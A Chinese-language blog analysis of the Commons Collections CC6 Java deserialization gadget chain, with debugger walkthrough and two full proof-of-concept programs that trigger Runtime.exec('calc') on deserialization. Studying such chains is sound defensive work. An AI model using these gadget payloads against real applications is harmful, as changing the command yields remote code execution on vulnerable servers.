前言
在CC6链中和CC5的利用链类似,只是CC6链中使用的是HashSet去触发LazyMap的get方法,而在CC5中使用的是BadAttributeValueExpException。
POC分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
   | package cc6;
  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry;
  import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map;
  public class CC6 {
      public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
          Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});
          Transformer[] transformers=new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})         };
          Map map=new HashMap();         Map lazyMap=LazyMap.decorate(map,Testtransformer);         TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");
          HashSet hashSet=new HashSet(1);         hashSet.add(tiedMapEntry);         lazyMap.remove("test1");
                   Field field = ChainedTransformer.class.getDeclaredField("iTransformers");         field.setAccessible(true);         field.set(Testtransformer, transformers);
          ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));         objectOutputStream.writeObject(hashSet);         objectOutputStream.close();
          ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));         objectInputStream.readObject();
      } }
 
   | 
 
运行结果如下:

前面的代码和cc1、cc5链一致,看下不同的地方。
1 2 3 4
   | HashSet hashSet=new HashSet(1); hashSet.add(tiedMapEntry); lazyMap.remove("test1");  
   | 
 
使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去,还调用了lazyMap.remove方法将test1给移除,这是为了能进入到判断语句里面去。

接下来进行调试分析,在HashSet#readObject()方法中打下断点

在Hashset的readObject方法中,回去调用map的put方法。

这里调用的是Hashmap的put方法,跟进一下该方法。

方法中会调用hash()方法,跟进到hash()方法中,发现会调用key.hashCode()方法

hashcode还会去调用getValue()方法

进入getValue()方法,后续的分析就和cc5一致了

利用链
1 2 3 4 5
   | HashSet.readObject->HashMap.put ->HashMap.hash->TiedMapEntry.hashCode ->TiedMapEntry.getValue->LazyMap.get ->ChainedTransformer.transform->InvokerTransformer.transform ->Runtime.exec
   | 
 
补充
poc2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
   | package cc6;
  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
  import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
  public class cc6Test {     public static void main(String[] args) throws Exception{         Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Class.forName("java.lang.Runtime")),                 new InvokerTransformer(                         "getMethod",                         new Class[]{String.class,Class[].class},                         new Object[]{"getRuntime",new Class[0]}                 ),                 new InvokerTransformer(                         "invoke",                         new Class[]{Object.class,Object[].class},                         new Object[]{null,new Object[0]}                 ),                 new InvokerTransformer(                         "exec",                         new Class[]{String.class},                         new Object[]{"calc"}                 )         };         Transformer[] fakeTransformers = new Transformer[]{                 new ConstantTransformer(1)         };         ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);         Map innerMap = new HashMap();         Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);
          TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"test1");         Map expMap = new HashMap();
          expMap.put(tiedMapEntry,"cc6");
          outerMap.remove("test1");
          Class clazz = Class.forName("org.apache.commons.collections.functors.ChainedTransformer");         Field field = clazz.getDeclaredField("iTransformers");         field.setAccessible(true);         field.set(chainedTransformer,transformers);         byte[] bytes = serialize(expMap);         unserialize(bytes);     }     public static void unserialize(byte[] bytes) throws Exception{         try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);             ObjectInputStream oin = new ObjectInputStream(bain)){             oin.readObject();         }     }
      public static byte[] serialize(Object o) throws Exception{         try(ByteArrayOutputStream baout = new ByteArrayOutputStream();             ObjectOutputStream oout = new ObjectOutputStream(baout)){             oout.writeObject(o);             return baout.toByteArray();         }     } }
   | 
 
参考
https://www.cnblogs.com/nice0e3/p/13892510.html
https://blog.csdn.net/rfrder/article/details/119739082